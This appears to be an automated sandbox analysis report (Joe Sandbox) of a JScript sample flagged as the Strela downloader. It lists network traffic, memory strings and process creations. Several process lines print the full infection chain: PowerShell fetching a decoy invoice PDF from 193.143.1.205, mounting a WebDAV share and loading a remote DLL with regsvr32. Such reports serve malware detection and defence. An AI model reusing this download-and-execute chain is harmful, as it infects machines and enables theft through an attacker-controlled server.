Source: http	Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:37:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6
Source: http	Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:37:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49732

Source: global traffic

TCP traffic: 192.168.2.4:49732 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:49184 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49731 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1669331713.0000026C547B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1741588811.0000020F6B0B3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750238564.0000020F6B085000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750328464.0000020F6B0B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1750328464.0000020F6B0A6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1741588811.0000020F6B0A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000006.00000003.1741588811.0000020F6B0B3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750328464.0000020F6B0B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/v
Source: svchost.exe, 00000008.00000002.2961710696.0000020EE5800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1742328830.0000020EE55B8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1742328830.0000020EE55B8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1742328830.0000020EE55B8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1742328830.0000020EE55ED000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1742328830.0000020EE5662000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1742328830.0000020EE5662000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1742328830.0000020EE5662000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2056, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 20607103592010424982.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3624:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_firog5gq.1uh.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1596,i,4769099861608467819,11199554090265279533,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1596,i,4769099861608467819,11199554090265279533,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
